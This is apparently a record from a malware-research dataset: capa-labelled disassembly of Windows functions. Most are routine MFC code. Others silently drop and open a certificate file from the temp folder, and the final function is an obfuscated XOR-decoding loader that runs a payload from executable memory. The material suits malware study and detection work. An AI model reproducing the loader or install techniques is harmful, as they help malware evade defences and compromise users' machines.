joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d990
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x420ad6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push esi
mov esi, ecx
push edi
lea ecx, [esp + 8]
mov dword [esi], 0x424230
call fcn.0041f074
lea eax, [esp + 8]
mov dword [esp + 0x21c], 0
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x42dc58
call sub.MFC42.DLL_CString::CString_2
call fcn.0041a6b0
add esp, 8
lea ecx, [esp + 0xc]
call fcn.0041f074
lea ecx, [esp + 0xc]
mov byte [esp + 0x21c], 1
push ecx
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x42dc58
call sub.MFC42.DLL_CString::CString_2
call fcn.0041a6b0
add esp, 8
lea edx, [esp + 0x14]
push 0x200
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
dec ecx
js 0x40da4b
mov al, 0x5c
cmp byte [esp + ecx + 0x14], al
je 0x40da46
dec ecx
jns 0x40da3b
jmp 0x40da4b
mov byte [esp + ecx + 0x14], 0
lea eax, [esp + 0x14]
lea ecx, [esp + 8]
push eax
push str._sHenBaohengbao.ini
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x14]
add esp, 0xc
lea eax, [esi + 4]
push edx
push 0x100
push eax
push 0x42d3f8
push str.CSP_Name
push 0x42bb30
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0xc]
mov byte [esp + 0x21c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x214]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
add esp, 0x218
ret

Function at 0x40dcc0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420ae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
mov dword [ebp - 0x10], esp
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x124]
or ecx, 0xffffffff
xor eax, eax
push 0x1001
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.C9769FB9_FF05_4254_B39D_3D6D68315E34.cer
mov dword [ebp - 4], ebx
lea edx, [ebp + ecx - 0x124]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x124]
push ecx
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CFile::CFile_2
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push edx
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CFile::Write
push 1
push ebx
lea ecx, [ebp - 0x124]
push ebx
push ecx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CFile::CFile
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40ff80
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x420e8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x30]
mov dword [esp + 0x1c], 2
push eax
push 0x97
call sub.MFC42.DLL_CDialog::CDialog
lea edi, [esi + 0x60]
mov byte [esp + 0x1c], 3
mov ecx, edi
call fcn.0041f074
lea ebx, [esi + 0x64]
mov byte [esp + 0x1c], 4
mov ecx, ebx
call fcn.0041f074
lea ebp, [esi + 0x68]
mov byte [esp + 0x1c], 5
mov ecx, ebp
call fcn.0041f03e
mov dword [ebp], 0x424538
lea ebp, [esi + 0xa8]
mov byte [esp + 0x1c], 6
mov ecx, ebp
call fcn.0041f074
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 7
push ecx
mov ecx, ebx
mov dword [esi], 0x424460
call sub.MFC42.DLL_CString::operator_2
lea edx, [esp + 0x28]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_2
lea eax, [esp + 0x2c]
mov ecx, ebp
push eax
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x40ff98
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x420e8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x30]
mov dword [esp + 0x1c], 2
push eax
push 0x97
call sub.MFC42.DLL_CDialog::CDialog
lea edi, [esi + 0x60]
mov byte [esp + 0x1c], 3
mov ecx, edi
call fcn.0041f074
lea ebx, [esi + 0x64]
mov byte [esp + 0x1c], 4
mov ecx, ebx
call fcn.0041f074
lea ebp, [esi + 0x68]
mov byte [esp + 0x1c], 5
mov ecx, ebp
call fcn.0041f03e
mov dword [ebp], 0x424538
lea ebp, [esi + 0xa8]
mov byte [esp + 0x1c], 6
mov ecx, ebp
call fcn.0041f074
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 7
push ecx
mov ecx, ebx
mov dword [esi], 0x424460
call sub.MFC42.DLL_CString::operator_2
lea edx, [esp + 0x28]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_2
lea eax, [esp + 0x2c]
mov ecx, ebp
push eax
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10
Function at 0x410800
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x114]
cmp edi, ebx
jne 0x410839
push str.HNCA_HB_MAN.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x410897
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
mov edi, str.HNCA_HB_MAN.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
pop ebp
cmp esi, ebx
mov dword [0x42dc48], ebx
mov dword [0x42dc3c], ebx
mov dword [0x42dc40], ebx
mov dword [0x42dc24], ebx
mov dword [0x42dc1c], ebx
mov dword [0x42dc28], ebx
mov dword [0x42dc44], ebx
mov dword [0x42dc18], ebx
mov dword [0x42dc2c], ebx
mov dword [0x42dc20], ebx
mov dword [0x42dc4c], ebx
mov dword [0x42dc38], ebx
mov dword [0x42dc34], ebx
je 0x4109a9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HNCA_EnumDevice
push esi
call edi
push str.HNCA_OpenDev
push esi
mov dword [0x42dc48], eax
call edi
push str.HNCA_VerifyPIN
push esi
mov dword [0x42dc3c], eax
call edi
push str.HNCA_ChangePIN
push esi
mov dword [0x42dc40], eax
call edi
push str.HNCA_UnLock
push esi
mov dword [0x42dc24], eax
call edi
push str.HNCA_FindCert
push esi
mov dword [0x42dc1c], eax
call edi
push str.HNCA_ReadCert
push esi
mov dword [0x42dc28], eax
call edi
push str.HNCA_RegCert
push esi
mov dword [0x42dc44], eax
call edi
push str.HNCA_UnregCert
push esi
mov dword [0x42dc18], eax
call edi
push str.HNCA_InitDevice
push esi
mov dword [0x42dc2c], eax
call edi
push str.HNCA_CloseDev
push esi
mov dword [0x42dc20], eax
call edi
push str.HNCA_FreeMemory
push esi
mov dword [0x42dc4c], eax
call edi
push str.HB_HNCA_CloseCertHandle
push esi
mov dword [0x42dc38], eax
call edi
push str.HNCA_GetDevSerialNumber
push esi
mov dword [0x42dc30], eax
call edi
mov dword [0x42dc34], eax
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x411950
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4210f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x70]
test eax, eax
jne 0x4119fa
push esi
lea ecx, [esp + 8]
call fcn.0041f074
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.0041f08c
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4119e1
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x4119e1
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x70], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x411a10
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x411a72
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x411c80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
mov edi, ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x411d72
lea ecx, [esp + 0x10]
push ecx
push str..htm
push Ordinal_4
mov ecx, edi
call fcn.00411a10
test eax, eax
jne 0x411d72
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push Ordinal_4
mov ecx, edi
call fcn.00411a10
test eax, eax
jne 0x411d72
mov edi, dword [sym.imp.MSVCRT.dll__mbsstr]
lea edx, [esp + 0x10]
push str.__1_
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x411d43
lea eax, [esp + 0x10]
push 0x42c404
push eax
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x411d43
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x411d46
mov byte [esi], 0
push 0x42bc14
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8

Function at 0x413b50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x413c44
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x413c3d
mov edi, dword [esp + 0x13c]
lea eax, [esp + 0x34]
mov esi, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x413bd2
test cl, cl
je 0x413bce
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x413bd2
add eax, 2
add esi, 2
test cl, cl
jne 0x413baa
xor eax, eax
jmp 0x413bd7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413c21
lea eax, [esp + 0x10]
push eax
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x413c3d
mov esi, edi
lea eax, [esp + 0x34]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x413c18
test cl, cl
je 0x413c14
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x413c18
add eax, 2
add esi, 2
test cl, cl
jne 0x413bf0
xor eax, eax
jmp 0x413c1d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x413bdb
mov eax, dword [esp + 0x18]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret 4
Function at 0x4145e0
Capabilities:
Get file version info

Disassembly:
push 0xffffffffffffffff
push 0x421698
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push esi
lea eax, [esp + 0xc]
lea ecx, [esp + 0x224]
push eax
push 0
mov dword [esp + 0x224], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
jne 0x414644
lea ecx, [esp + 0x224]
mov dword [esp + 0x21c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x4146f1
push edi
push esi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x14]
add esp, 4
mov edi, eax
push edi
push esi
push ecx
push 0
lea ecx, [esp + 0x238]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call sub.VERSION.dll_GetFileVersionInfoA
mov esi, eax
test esi, esi
je 0x4146ce
lea edx, [esp + 0xc]
lea eax, [esp + 8]
push edx
push eax
push str.VarFileInfoTranslation
push edi
call sub.VERSION.dll_VerQueryValueA
mov esi, eax
test esi, esi
je 0x4146ce
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4146ce
mov eax, dword [esp + 8]
xor edx, edx
mov ecx, dword [eax]
mov dx, word [eax]
shr ecx, 0x10
push ecx
push edx
lea eax, [esp + 0x20]
push str.StringFileInfo_04hX_04hXOLESelfRegister
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x14]
lea edx, [esp + 8]
lea eax, [esp + 0x18]
push ecx
push edx
push eax
push edi
call sub.VERSION.dll_VerQueryValueA
mov esi, eax
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x228]
mov dword [esp + 0x220], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
pop edi
mov ecx, dword [esp + 0x214]
pop esi
mov dword fs:[0], ecx
add esp, 0x21c
ret 4

Function at 0x418c50
Capabilities:
Terminate process

Disassembly:
push ecx
push ebp
push 1
push 0x42cc58
mov ebp, ecx
push 0x42cc30
call sub.MFC42.DLL_CWnd::MessageBoxA
cmp eax, 2
je 0x418d42
mov eax, dword [0x42df30]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp + 0x76c]
mov eax, dword [ecx - 8]
test eax, eax
jle 0x418c93
lea edx, [ebp + 0x60]
push edx
call fcn.0040b4c0
add esp, 4
mov eax, dword [ebp + 0x9f4]
test eax, eax
je 0x418caf
cmp dword [ebp + 0x9ec], 1
jne 0x418caf
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
push esi
push edi
lea ebx, [ebp + 0x9b4]
mov dword [esp + 0x10], 8
mov eax, dword [ebx]
test eax, eax
je 0x418ced
mov ecx, dword [eax + 0xac]
xor edi, edi
test ecx, ecx
jle 0x418ced
mov esi, 0xb0
mov ecx, dword [esi + eax]
call fcn.0040d500
mov eax, dword [ebx]
inc edi
add esi, 4
cmp edi, dword [eax + 0xac]
jl 0x418cd7
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x418cc0
mov eax, dword [ebp + 0x6530]
lea ecx, [ebp + 0x6530]
call dword [eax + 0x28]
mov ecx, dword [ebp + 0x20]
lea eax, [ebp + 0x6288]
push eax
push 2
mov dword [eax], 0x1e8
mov dword [ebp + 0x628c], ecx
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov edx, dword [ebp + 0x928]
push edx
call fcn.004109c0
mov eax, dword [ebp]
add esp, 4
mov ecx, ebp
call dword [eax + 0x60]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret
Function at 0x41a6b0
Capabilities:
Access peb ldr_data
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x422150
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
lea ecx, [esp + 8]
mov dword [esp + 0x28], ebx
call fcn.0041f074
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call fcn.0041f074
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x14]
push eax
push 0x20019
push ebx
push ecx
push reloc.HTCSPApi.dll_Ordinal_2
mov byte [esp + 0x3c], 2
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x41a82f
push 0x50
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0x10]
mov esi, eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x50
call fcn.0041f074
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x20]
push esi
push eax
push ebx
push str.Image_Path
push ecx
mov byte [esp + 0x40], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x41a76f
cmp esi, ebx
je 0x41a821
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
jmp 0x41a821
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::operator
cmp esi, ebx
je 0x41a791
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0x5c
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReverseFind
cmp eax, ebx
je 0x41a813
inc eax
push ebx
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::SetAt
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x34]
push eax
push 0x42b0b0
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
mov ecx, dword [esp + 0x34]
push 0x42d3f8
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x41e4a0
Capabilities:
Create directory
Set file attributes

Disassembly:
sub esp, 0x20c
push edi
mov edi, dword [esp + 0x214]
push edi
call fcn.0041e400
add esp, 4
cmp al, 1
jne 0x41e4c3
pop edi
add esp, 0x20c
ret
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ebx
sub edi, ecx
push ebp
push esi
lea edx, [esp + 0x118]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x118]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x117]
mov cl, byte [esp + ecx + 0x117]
cmp cl, 0x5c
je 0x41e515
cmp cl, 0x2f
jne 0x41e517
mov byte [eax], bl
lea edi, [esp + 0x118]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x18]
mov edx, ecx
mov ecx, 0x40
cmp edx, ebx
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
jle 0x41e5e0
mov al, byte [esp + ebp + 0x118]
cmp al, 0x5c
je 0x41e554
mov byte [esp + 0x12], al
jmp 0x41e579
lea eax, [esp + 0x18]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41e574
lea ecx, [esp + 0x18]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [esp + 0x12], 0x5c
lea edi, [esp + 0x12]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x13], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, edx
and ecx, 3
dec eax
cmp ebp, eax
rep movsb byte es:[edi], byte [esi]
jne 0x41e5d3
lea ecx, [esp + 0x18]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41e5d3
lea edx, [esp + 0x18]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0x14]
inc ebp
cmp ebp, eax
jl 0x41e543
lea eax, [esp + 0x18]
push eax
call fcn.0041e400
add esp, 4
test al, al
pop esi
pop ebp
pop ebx
pop edi
setne al
add esp, 0x20c
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40560d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40561c
pop dword [ebp - 0x44]
mov eax, 0x1584a598
add eax, 0xeabbb084
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x4ff450c3
sub dword [ebp - 0x54], 0x1a20b78
mov dword [ebp - 0x50], 0x7c5da5f7
add dword [ebp - 0x50], 0xb5d5a64e
mov dword [ebp - 0x4c], 0x7de4d91e
add dword [ebp - 0x4c], 0xce676b10
mov dword [ebp - 0x48], 0xb4f795be
sub dword [ebp - 0x48], 0xb4f795be
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xcda06f45
add dword [ebp - 0x54], 0xa6d1fa11
mov dword [ebp - 0x50], 0x4e246054
sub dword [ebp - 0x50], 0xcb7fedf
mov dword [ebp - 0x4c], 0xea87a700
add dword [ebp - 0x4c], 0x78e7c56c
mov dword [ebp - 0x48], 0xf8adad90
add dword [ebp - 0x48], 0x7525270
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xd7c54803
add eax, 0x287b8849
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3bbbb
push 0
call eax
mov ecx, 0x50db
mov edx, eax
mov edi, 0xccd4e442
add edi, 0x336ccbbe
add edi, dword [ebp - 0x44]
mov esi, 0x8593869b
sub esi, 0x50b83513
mov ebx, dword [edi]
xor dword [ebp - 0xc], 0x3080b95e
xor ebx, esi
mov dword [ebp - 0x10], 0x19cfbdb2
mov dword [edx], ebx
add dword [ebp - 0x24], 0xc8c0b606
add edx, 0xc51af98f
add edx, 0x3ae50675
add edi, 4
loop 0x405733
add eax, 0x3273bd05
add eax, 0xcd8d793a
xor ebx, ebx
add ebx, eax
add eax, 0x6e07f347
sub eax, 0x6e07f342
mov ecx, 0x4cb24c29
add ecx, 0xb38db3d7
add ecx, dword [ebp - 0x44]
call ebx
leave
ret